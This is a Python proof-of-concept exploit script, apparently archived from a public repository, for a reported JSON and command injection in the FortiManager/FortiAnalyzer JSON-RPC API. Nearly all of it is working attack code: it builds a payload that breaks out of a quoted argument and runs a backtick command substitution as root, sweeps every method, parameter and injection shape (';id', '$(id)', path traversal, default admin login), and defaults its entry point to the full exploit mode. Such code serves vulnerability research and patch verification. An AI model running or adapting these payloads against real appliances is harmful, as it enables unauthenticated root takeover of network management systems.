#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-126170 (MIT License; see upstream-LICENSE.txt)
"""
CVE-2026-126170 -- FortiManager / FortiAnalyzer JSON-RPC (JRPC) API, JSON injection.

Fortinet PSIRT FG-IR-26-219 -- "JSON Injection in JRPC API"
CWE-116 (Improper Encoding or Escaping of Output)
CVSS v3.1 9.8 CRITICAL -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The proof of concept drives the appliance's JSON-RPC endpoint with a crafted
request and observes two consequences of the missing output encoding:

  * the value of the request terminates the quoted argument of the generated
    command line, so the remainder of the value is parsed as shell syntax by the
    command sink -- the marker file is written by the appliance, as root;
  * the same value becomes a structural part of the JSON response document, so the
    injected key is a real key of the parsed response.

Modes:
    check      classify the target with a benign request and an injected request
    exploit    the full chain: craft, send, read the marker, verify the response
    probe      the sibling matrix: every method, every parameter, every value shape
    mitigation the published workaround, as published and in the form that takes effect
    0day       the full sweep against the patched build

Exit codes:
    0  safe -- nothing was executed and no key was injected
    1  vulnerable -- the injected command executed, or the response carries the key
    2  target unreachable
    3  the primitive is confirmed but the gadget is blocked
    4  endpoint absent -- the JSON API is not present, no handler is reached
"""

import argparse
import http.client
import json
import os
import secrets
import socket
import sys
import time
from urllib.parse import urlparse

TARGET = os.environ.get("FMGR_TARGET", "http://127.0.0.1:8080")
RESULTS = os.environ.get("POC_RESULTS", "/results")
MARKER_DIR = os.path.join(RESULTS, "marker")
CMD_LOG = os.path.join(RESULTS, "jrpc-command-log.txt")

INJ_PREFIX = "jrpc_injected"
BASE_KEYS = {"id", "status", "method", "url", "session"}


# --------------------------------------------------------------------- plumbing


def new_token():
    return secrets.token_hex(8)


def marker_path(token):
    return os.path.join(MARKER_DIR, "jrpc-%s.txt" % token)


def log_contains(token):
    try:
        with open(CMD_LOG, encoding="utf-8", errors="replace") as fh:
            return token in fh.read()
    except OSError:
        return False


def reachable(target, timeout=5):
    u = urlparse(target)
    host = u.hostname or "127.0.0.1"
    port = u.port or (443 if u.scheme == "https" else 80)
    try:
        s = socket.create_connection((host, port), timeout=timeout)
    except OSError:
        return False
    s.close()
    return True


def http_request(target, method="POST", path="/jsonrpc", body=None, headers=None, timeout=25):
    """Send one request and return (status, headers, body text)."""
    u = urlparse(target)
    host = u.hostname or "127.0.0.1"
    port = u.port or (443 if u.scheme == "https" else 80)
    hdrs = {"Content-Type": "application/json", "Accept": "application/json"}
    if headers:
        hdrs.update(headers)
    if isinstance(body, str):
        body = body.encode("utf-8")
    if u.scheme == "https":
        import ssl

        ctx = ssl._create_unverified_context()
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request(method, path, body=body, headers=hdrs)
        resp = conn.getresponse()
        data = resp.read()
        return resp.status, dict(resp.getheaders()), data.decode("utf-8", "replace")
    finally:
        conn.close()


def jrpc(method="set", url="/api/v2/cmdb/system/admin", data=None, rid=1, session=None):
    doc = {
        "id": rid,
        "method": method,
        "params": [{"url": url, "data": data if data is not None else {}}],
    }
    if session is not None:
        doc["session"] = session
    return json.dumps(doc)


def injection_value(token, inj_key=None, variant="plain"):
    """The payload value.

    It carries three things at once:

      * a double quote, which terminates the quoted argument of the generated
        command line and the string of the response document;
      * a JSON key/value pair, which becomes a real key of the parsed response
        document;
      * a command substitution, which writes the marker file as the account the
        appliance runs the command sink with.

    The "url-exec" variant builds the path of the marker file with shell octal
    escapes: the URL parameter reaches the generated command line as the object
    path of the command, and the object path is rendered with spaces, so a
    literal slash in the payload would not survive there.
    """
    inj_key = inj_key or ("%s_%s" % (INJ_PREFIX, token))
    path = marker_path(token)
    if variant == "url-exec":
        escaped = path.replace("/", "\\057")
        cmd = "id > $(printf '%s'); echo %s >> $(printf '%s')" % (escaped, token, escaped)
    else:
        cmd = "id > %s; echo %s >> %s" % (path, token, path)
    return 'A","%s":"%s`%s`' % (inj_key, token, cmd)


def observe(target, method="POST", path="/jsonrpc", body=None, headers=None,
            expected_keys=None, token=None):
    """Send one request and record what came back and what happened on the host."""
    obs = {
        "status": None,
        "parsed": None,
        "parse_error": None,
        "injected_keys": [],
        "marker": False,
        "marker_content": "",
        "log_hit": False,
        "error": None,
        "body_excerpt": "",
    }
    try:
        status, _hdrs, text = http_request(target, method, path, body, headers)
    except Exception as exc:
        obs["error"] = "%r" % (exc,)
        return obs
    obs["status"] = status
    obs["body_excerpt"] = text[:1200]
    try:
        parsed = json.loads(text)
    except Exception as exc:
        parsed = None
        obs["parse_error"] = str(exc)
    if isinstance(parsed, dict):
        obs["parsed"] = parsed
        if parsed.get("status") == "success":
            allowed = BASE_KEYS | set(expected_keys or [])
            obs["injected_keys"] = sorted(k for k in parsed if k not in allowed)
        else:
            # An error document is not the appliance's JRPC response document.
            obs["error_document"] = True
    if token:
        path_marker = marker_path(token)
        if os.path.exists(path_marker):
            obs["marker"] = True
            try:
                with open(path_marker, encoding="utf-8", errors="replace") as fh:
                    obs["marker_content"] = fh.read()[:2000]
            except OSError:
                pass
        obs["log_hit"] = log_contains(token)
    return obs


def executed(obs):
    """Did the injected command actually run, as the account of the appliance?"""
    return bool(obs.get("marker")) and "uid=0(root)" in obs.get("marker_content", "")


# ------------------------------------------------------------------ the cases


def probe_cases(full=False):
    """The sibling matrix.

    Every case is one request.  The cases marked "inject" carry the payload; the
    other cases carry the value shapes that a fix has to survive.
    """
    cases = []

    def add(name, **kw):
        kw["name"] = name
        cases.append(kw)

    # --- every method of the JRPC surface --------------------------------
    for method in ("get", "set", "add", "delete", "exec"):
        add(
            "method-%s" % method,
            method=method,
            url="/api/v2/cmdb/system/admin" if method != "exec" else "/sys/log/config",
            inject="value",
        )

    # --- every parameter of the request ------------------------------------
    add("parameter-url", method="set", url="/api/v2/cmdb/system/admin", inject="url")
    add("parameter-url-exec", method="set", url="/api/v2/cmdb/system/admin",
        inject="url", variant="url-exec")
    add("parameter-data-key", method="set", url="/api/v2/cmdb/system/admin", inject="key")
    add("parameter-id", method="set", url="/api/v2/cmdb/system/admin", inject="id")
    add("parameter-session", method="set", url="/api/v2/cmdb/system/admin", inject="session")
    add("parameter-method", method="set", url="/api/v2/cmdb/system/admin", inject="method")

    # --- value shapes ------------------------------------------------------
    shapes = [
        ("value-double-quote", 'he"llo'),
        ("value-backslash", "C:\\path\\to\\file"),
        ("value-newline", "line1\nline2"),
        ("value-nul", "before\x00after"),
        ("value-ifs", "${IFS}"),
        ("value-backtick", "`id`"),
        ("value-subshell", "$(id)"),
        ("value-semicolon", ";id"),
        ("value-pipe", "|id"),
        ("value-andand", "&&id"),
        ("value-redirect", "> /tmp/x"),
        ("value-unicode", "\u00fcn\u00efc\u00f6d\u00e9 \u00df \U0001f600"),
        ("value-rtl-override", "admin\u202egnp"),
        ("value-overlong", "A" * 4096),
        ("value-dotted", "..%2f..%2fetc%2fpasswd"),
    ]
    for name, shape in shapes:
        add(name, method="set", url="/api/v2/cmdb/system/admin", literal=shape)

    # --- structural shapes -------------------------------------------------
    add("value-nested-object", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"cfg": {"nested": {"deep": "value"}}})
    add("value-array", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"list": [1, 2, 3]})
    add("value-number", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"count": 42})
    add("value-bool-null", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"flag": True, "none": None})
    add("value-empty", method="set", url="/api/v2/cmdb/system/admin",
        literal=None, data={"description": ""})

    # --- transport shapes --------------------------------------------------
    add("transport-duplicate-json-key", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":{"description":"first","description":"second"}}]}')
    add("transport-content-type-text", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", content_type="text/plain")
    add("transport-content-type-absent", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", content_type=None)
    add("transport-http-method-get", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", http_method="GET")
    add("transport-http-method-put", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", http_method="PUT")
    add("transport-http-method-delete", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", http_method="DELETE")
    add("transport-http-method-patch", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", http_method="PATCH")
    add("transport-rest-path", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="/api/v2/cmdb/system/admin", rest=True)
    add("transport-path-double-slash", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="//jsonrpc")
    add("transport-path-trailing-slash", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="/jsonrpc/")
    add("transport-path-upper-case", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="/JSONRPC")
    add("transport-path-query", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", path="/jsonrpc?debug=1")
    add("transport-bearer-token", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", extra_headers={"Authorization": "Bearer " + "A" * 32})
    add("transport-bom", method="set", url="/api/v2/cmdb/system/admin",
        raw="\ufeff" + jrpc("set", "/api/v2/cmdb/system/admin", {"description": "bom"}))
    add("transport-nan-infinity", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":{"description":NaN,"count":Infinity}}]}')
    add("transport-lone-surrogate", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":{"description":"\\ud800x"}}]}')
    add("transport-huge-body", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":{"description":"' + "A" * (1024 * 1024 + 64) + '"}}]}')
    add("transport-empty-body", method="set", url="/api/v2/cmdb/system/admin", raw="")
    add("transport-not-json", method="set", url="/api/v2/cmdb/system/admin",
        raw="id=1&method=set")
    add("transport-params-not-a-list", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":{"url":"/api/v2/cmdb/system/admin","data":{}}}')
    add("transport-params-empty", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[]}')
    add("transport-data-not-an-object", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
            '"data":"plain"}]}')
    add("transport-missing-url", method="set", url="/api/v2/cmdb/system/admin",
        raw='{"id":1,"method":"set","params":[{"data":{"description":"x"}}]}')
    add("transport-unknown-session", method="set", url="/api/v2/cmdb/system/admin",
        inject="value", session="0000000000000000deadbeef")

    if full:
        # --- the extra vectors of the full sweep ---------------------------
        add("sweep-session-login", method="exec", url="/sys/login/user",
            literal=None, data={"user": "admin", "passwd": "admin"})
        add("sweep-empty-params-object", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":1,"method":"set","params":[{"url":"/api/v2/cmdb/system/admin"}]}')
        add("sweep-method-unknown", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":1,"method":"reboot","params":[{"url":"/api/v2/cmdb/system/admin",'
                '"data":{"description":"x"}}]}')
        add("sweep-method-upper-case", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":1,"method":"SET","params":[{"url":"/api/v2/cmdb/system/admin",'
                '"data":{"description":"x"}}]}')
        add("sweep-id-object", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":{"a":1},"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
                '"data":{"description":"x"}}]}')
        add("sweep-id-array", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":[1,2],"method":"set","params":[{"url":"/api/v2/cmdb/system/admin",'
                '"data":{"description":"x"}}]}')
        add("sweep-id-huge-int", method="set", url="/api/v2/cmdb/system/admin",
            raw='{"id":123456789012345678901234567890,"method":"set",'
                '"params":[{"url":"/api/v2/cmdb/system/admin","data":{"description":"x"}}]}')
        add("sweep-url-query", method="set",
            url="/api/v2/cmdb/system/admin?vfilter=x", inject="value")
        add("sweep-url-traversal", method="set",
            url="/api/v2/cmdb/../../etc/passwd", inject="value")
        add("sweep-url-empty", method="set", url="", inject="value")
        add("sweep-multiple-data-keys", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_data={"second": "harmless"})
        add("sweep-content-length-mismatch", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"Content-Length": "1"})
        add("sweep-x-forwarded-host", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"X-Forwarded-Host": "evil.example"})
        add("sweep-origin", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"Origin": "http://evil.example"})
        add("sweep-referer", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"Referer": "http://evil.example/x"})
        add("sweep-user-agent", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", extra_headers={"User-Agent": "curl/8.0"})
        add("sweep-transfer-encoding", method="set", url="/api/v2/cmdb/system/admin",
            inject="value", chunked=True)

    return cases


def build_case_body(case, token):
    """Build the request body of one case."""
    if case.get("raw") is not None:
        return case["raw"], None
    method = case.get("method", "set")
    url = case.get("url", "/api/v2/cmdb/system/admin")
    data = case.get("data")
    if data is None:
        data = {}
    inj_key = "%s_%s" % (INJ_PREFIX, token)
    value = injection_value(token, inj_key, variant=case.get("variant", "plain"))
    expected = set()

    where = case.get("inject")
    if where == "value":
        data = dict(data)
        data["description"] = value
        expected.add("description")
    elif where == "key":
        # The payload is the *name* of a data member.
        data = {value: "harmless"}
        expected.add(value)
    elif where == "url":
        url = value
    elif where == "id":
        return (
            json.dumps(
                {
                    "id": value,
                    "method": method,
                    "params": [{"url": url, "data": {}}],
                }
            ),
            expected,
        )
    elif where == "session":
        return (
            json.dumps(
                {
                    "id": 1,
                    "method": method,
                    "params": [{"url": url, "data": {}}],
                    "session": value,
                }
            ),
            expected,
        )
    elif where == "method":
        return (
            json.dumps(
                {
                    "id": 1,
                    "method": value,
                    "params": [{"url": url, "data": {"description": value}}],
                }
            ),
            expected | {"description"},
        )
    elif case.get("literal") is not None:
        data = dict(data)
        data["description"] = case["literal"]
        expected.add("description")
    else:
        for key in data:
            expected.add(key)

    if case.get("extra_data"):
        data = dict(data)
        data.update(case["extra_data"])
        expected |= set(case["extra_data"])

    if case.get("rest"):
        # The REST path takes a flat JSON object, not the JRPC envelope.
        flat = dict(data)
        if case.get("inject") == "value":
            flat = {"description": value}
            expected = {"description"}
        return json.dumps(flat), expected

    body = jrpc(method, url, data, session=case.get("session"))
    return body, expected


def run_case(target, case):
    """Run one case of the matrix and describe what happened."""
    token = new_token()
    body, expected = build_case_body(case, token)
    headers = {}
    content_type = case.get("content_type", "application/json")
    if content_type is None:
        headers.pop("Content-Type", None)
    else:
        headers["Content-Type"] = content_type
    if case.get("extra_headers"):
        headers.update(case["extra_headers"])
    path = case.get("path", "/jsonrpc")
    http_method = case.get("http_method", "POST")

    if case.get("chunked"):
        obs = chunked_request(target, path, body, headers, token, expected)
    else:
        obs = observe(
            target,
            method=http_method,
            path=path,
            body=body if http_method in ("POST", "PUT", "PATCH") else None,
            headers=headers,
            expected_keys=expected,
            token=token,
        )

    inj_key = "%s_%s" % (INJ_PREFIX, token)
    result = {
        "case": case["name"],
        "http_method": http_method,
        "path": path,
        "status": obs["status"],
        "error": obs["error"],
        "response_parses": obs["parsed"] is not None or obs["status"] in (403, 404, 405, 413),
        "parse_error": obs["parse_error"],
        "injected_keys": obs["injected_keys"],
        "injected_key_present": inj_key in obs["injected_keys"],
        "executed": executed(obs),
        "marker_written": obs["marker"],
        "command_log_hit": obs["log_hit"],
        "body_excerpt": obs["body_excerpt"],
    }
    if obs.get("marker_content"):
        result["marker_content"] = obs["marker_content"]
    return result


def chunked_request(target, path, body, headers, token, expected):
    """Send a chunked request, which carries no Content-Length."""
    u = urlparse(target)
    host = u.hostname or "127.0.0.1"
    port = u.port or (443 if u.scheme == "https" else 80)
    obs = {
        "status": None,
        "parsed": None,
        "parse_error": None,
        "injected_keys": [],
        "marker": False,
        "marker_content": "",
        "log_hit": False,
        "error": None,
        "body_excerpt": "",
    }
    payload = body.encode("utf-8")
    lines = [
        "POST %s HTTP/1.1" % path,
        "Host: %s:%d" % (host, port),
        "Content-Type: application/json",
        "Transfer-Encoding: chunked",
        "Connection: close",
        "",
        "%x" % len(payload),
    ]
    raw = ("\r\n".join(lines) + "\r\n").encode() + payload + b"\r\n0\r\n\r\n"
    try:
        s = socket.create_connection((host, port), timeout=20)
        s.sendall(raw)
        data = b""
        s.settimeout(20)
        try:
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                data += chunk
        except socket.timeout:
            pass
        finally:
            s.close()
    except Exception as exc:
        obs["error"] = "%r" % (exc,)
        return obs
    text = data.decode("utf-8", "replace")
    head, _, payload_text = text.partition("\r\n\r\n")
    try:
        obs["status"] = int(head.split(" ", 2)[1])
    except Exception:
        obs["status"] = None
    obs["body_excerpt"] = payload_text[:1200]
    try:
        parsed = json.loads(payload_text)
    except Exception as exc:
        parsed = None
        obs["parse_error"] = str(exc)
    if isinstance(parsed, dict):
        obs["parsed"] = parsed
        if parsed.get("status") == "success":
            allowed = BASE_KEYS | set(expected or [])
            obs["injected_keys"] = sorted(k for k in parsed if k not in allowed)
        else:
            obs["error_document"] = True
    if os.path.exists(marker_path(token)):
        obs["marker"] = True
        try:
            with open(marker_path(token), encoding="utf-8", errors="replace") as fh:
                obs["marker_content"] = fh.read()[:2000]
        except OSError:
            pass
    obs["log_hit"] = log_contains(token)
    return obs


# ---------------------------------------------------------------------- modes


def mode_check(target):
    """Classify the target."""
    out = {"mode": "check", "target": target}
    if not reachable(target):
        out["summary"] = {"verdict": "UNREACHABLE", "reachable": False}
        out["exit_code"] = 2
        return out

    token = new_token()
    inj_key = "%s_%s" % (INJ_PREFIX, token)
    value = injection_value(token, inj_key)

    benign = observe(
        target,
        body=jrpc("get", "/api/v2/cmdb/system/admin", {"description": "benign"}),
        expected_keys={"description"},
    )
    out["benign"] = {
        "status": benign["status"],
        "parsed": benign["parsed"] is not None,
        "error": benign["error"],
    }

    attack = observe(
        target,
        body=jrpc("set", "/api/v2/cmdb/system/admin", {"description": value}),
        expected_keys={"description"},
        token=token,
    )
    out["attack"] = {
        "status": attack["status"],
        "parsed": attack["parsed"] is not None,
        "parse_error": attack["parse_error"],
        "injected_keys": attack["injected_keys"],
        "injected_key_present": inj_key in attack["injected_keys"],
        "executed": executed(attack),
        "marker_written": attack["marker"],
        "marker_content": attack["marker_content"],
        "command_log_hit": attack["log_hit"],
        "body_excerpt": attack["body_excerpt"],
    }

    ran = executed(attack)
    injected = inj_key in attack["injected_keys"]
    if ran or injected:
        verdict = "VULNERABLE"
        rc = 1
    elif attack["status"] in (403, 404):
        verdict = "SAFE (endpoint refused or absent)"
        rc = 0
    else:
        verdict = "SAFE"
        rc = 0
    out["summary"] = {
        "verdict": verdict,
        "reachable": True,
        "executed": ran,
        "response_injected": injected,
        "benign_status": benign["status"],
        "attack_status": attack["status"],
    }
    out["exit_code"] = rc
    return out


def mode_exploit(target):
    """The full chain, with the on-host proof of execution."""
    out = {"mode": "exploit", "target": target}
    if not reachable(target):
        out["summary"] = {"verdict": "UNREACHABLE", "reachable": False}
        out["exit_code"] = 2
        return out

    token = new_token()
    inj_key = "%s_%s" % (INJ_PREFIX, token)
    value = injection_value(token, inj_key)

    body = jrpc("set", "/api/v2/cmdb/system/admin", {"description": value})
    out["request"] = json.loads(body)

    attack = observe(
        target,
        body=body,
        expected_keys={"description"},
        token=token,
    )
    parsed = attack["parsed"] or {}
    marker = attack["marker_content"]

    out["response"] = {
        "status": attack["status"],
        "parsed": attack["parsed"] is not None,
        "parse_error": attack["parse_error"],
        "top_level_keys": sorted(parsed.keys()) if isinstance(parsed, dict) else [],
        "injected_keys": attack["injected_keys"],
        "injected_key": inj_key,
        "injected_key_present": inj_key in attack["injected_keys"],
        "injected_value": parsed.get(inj_key) if isinstance(parsed, dict) else None,
        "body_excerpt": attack["body_excerpt"],
    }
    out["marker"] = {
        "path": marker_path(token),
        "written": attack["marker"],
        "contains_uid_root": "uid=0(root)" in marker,
        "contains_token": token in marker,
        "content": marker,
    }
    out["command_log_hit"] = attack["log_hit"]

    ran = executed(attack)
    injected = inj_key in attack["injected_keys"]
    primitive = injected or bool(attack["parse_error"])
    if ran and injected:
        verdict = "VULNERABLE (command execution confirmed and response injected)"
        rc = 1
    elif ran:
        verdict = "VULNERABLE (command execution confirmed)"
        rc = 1
    elif primitive:
        verdict = "PRIMITIVE CONFIRMED / GADGET BLOCKED"
        rc = 3
    elif attack["status"] in (403, 404):
        verdict = "SAFE (endpoint refused or absent)"
        rc = 0
    else:
        verdict = "SAFE"
        rc = 0
    out["summary"] = {
        "verdict": verdict,
        "reachable": True,
        "executed": ran,
        "response_injected": injected,
        "command_line_generated": attack["log_hit"],
        "token": token,
    }
    out["exit_code"] = rc
    return out


def mode_probe(target, full=False):
    """The sibling matrix."""
    mode = "0day" if full else "probe"
    out = {"mode": mode, "target": target}
    if not reachable(target):
        out["summary"] = {"verdict": "UNREACHABLE", "reachable": False}
        out["exit_code"] = 2
        return out

    cases = probe_cases(full=full)
    results = []
    for case in cases:
        results.append(run_case(target, case))
    out["cases"] = results

    hits = [r for r in results if r["executed"] or r["injected_key_present"]]
    broken = [r for r in results if r["status"] is None and not r["error"] is None]
    out["summary"] = {
        "cases": len(results),
        "findings": [r["case"] for r in hits],
        "executed_cases": [r["case"] for r in results if r["executed"]],
        "injected_cases": [r["case"] for r in results if r["injected_key_present"]],
        "unparseable_responses": [
            r["case"] for r in results if r["status"] == 200 and r["parse_error"]
        ],
        "transport_errors": [r["case"] for r in broken],
        "verdict": "VULNERABLE" if hits else "SAFE",
    }
    out["exit_code"] = 1 if hits else 0
    return out


def mode_mitigation(target, absent_target=None):
    """The published workaround, as published and in the form that takes effect."""
    out = {"mode": "mitigation", "target": target}
    if not reachable(target):
        out["summary"] = {"verdict": "UNREACHABLE", "reachable": False}
        out["exit_code"] = 2
        return out

    token = new_token()
    inj_key = "%s_%s" % (INJ_PREFIX, token)
    value = injection_value(token, inj_key)
    body = jrpc("set", "/api/v2/cmdb/system/admin", {"description": value})

    # --- arm (a): the rpc-permit none shape --------------------------------
    arm_a = {}
    for label, kwargs in (
        ("post-jsonrpc", {"method": "POST", "path": "/jsonrpc"}),
        ("get-jsonrpc", {"method": "GET", "path": "/jsonrpc"}),
        ("post-rest-path", {"method": "POST", "path": "/api/v2/cmdb/system/admin"}),
        ("post-jsonrpc-login", {"method": "POST", "path": "/jsonrpc"}),
    ):
        if label == "post-jsonrpc-login":
            payload = jrpc("exec", "/sys/login/user", {"user": "admin", "passwd": "admin"})
        else:
            payload = body
        obs = observe(
            target,
            body=payload if kwargs["method"] == "POST" else None,
            method=kwargs["method"],
            path=kwargs["path"],
            expected_keys={"description"},
            token=token,
        )
        arm_a[label] = {
            "status": obs["status"],
            "executed": executed(obs),
            "marker_written": obs["marker"],
            "body_excerpt": obs["body_excerpt"],
        }
    out["arm_a_rpc_permit_none"] = arm_a

    # --- arm (b): the operational form, the JSON API left disabled ----------
    arm_b = None
    if absent_target:
        if reachable(absent_target):
            obs = observe(
                absent_target,
                body=body,
                expected_keys={"description"},
                token=token,
            )
            arm_b = {
                "target": absent_target,
                "status": obs["status"],
                "executed": executed(obs),
                "marker_written": obs["marker"],
                "body_excerpt": obs["body_excerpt"],
            }
        else:
            arm_b = {
                "target": absent_target,
                "status": None,
                "executed": False,
                "marker_written": False,
                "error": "no listener",
            }
        out["arm_b_api_disabled"] = arm_b

    statuses = [v["status"] for v in arm_a.values()]
    refused = all(s == 403 for s in statuses)
    any_exec = any(v["executed"] or v["marker_written"] for v in arm_a.values())
    any_injection = any("jrpc_injected" in (v["body_excerpt"] or "") for v in arm_a.values())

    if any_exec or any_injection:
        verdict = "MITIGATION FAILED"
        rc = 1
    elif all(s == 404 for s in statuses):
        verdict = "ENDPOINT ABSENT"
        rc = 4
    elif refused:
        verdict = "MITIGATION HOLDS"
        rc = 0
    else:
        verdict = "MITIGATION FAILED (request was not refused)"
        rc = 1
    out["summary"] = {
        "verdict": verdict,
        "reachable": True,
        "statuses": statuses,
        "executed": any_exec,
        "arm_b": arm_b,
    }
    out["exit_code"] = rc
    return out


# ---------------------------------------------------------------------- main


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-126170 JRPC JSON injection PoC")
    ap.add_argument(
        "mode",
        nargs="?",
        default=None,
        choices=["check", "exploit", "probe", "mitigation", "0day"],
    )
    ap.add_argument("--mode", dest="mode_flag", default=None,
                    choices=["check", "exploit", "probe", "mitigation", "0day"])
    ap.add_argument("--target", default=TARGET)
    ap.add_argument("--absent-target", default=None,
                    help="target whose JSON API was never enabled (mitigation arm b)")
    ap.add_argument("--out", default=None)
    args = ap.parse_args()

    mode = args.mode_flag or args.mode or "check"
    target = args.target
    os.makedirs(MARKER_DIR, exist_ok=True)

    if mode == "check":
        out = mode_check(target)
    elif mode == "exploit":
        out = mode_exploit(target)
    elif mode == "probe":
        out = mode_probe(target, full=False)
    elif mode == "0day":
        out = mode_probe(target, full=True)
    elif mode == "mitigation":
        out = mode_mitigation(target, args.absent_target)
    else:
        out = {"summary": {"verdict": "unknown mode"}, "exit_code": 2}

    out["ts"] = time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
    text = json.dumps(out, indent=2, default=str)
    print(text)
    if args.out:
        with open(args.out, "w", encoding="utf-8") as fh:
            fh.write(text)
    return out.get("exit_code", 0)




# Standalone full-chain exploit entrypoint. This file is self-contained:
# no imports from the PoC package; it forces the same repo's exploit mode.
def _standalone_exploit():
    _modes = {"check", "exploit", "probe", "mitigation"}
    _argv = [a for a in sys.argv[1:] if a not in _modes]
    sys.argv = [sys.argv[0], "exploit"] + _argv
    return main()


if __name__ == "__main__":
    sys.exit(_standalone_exploit())
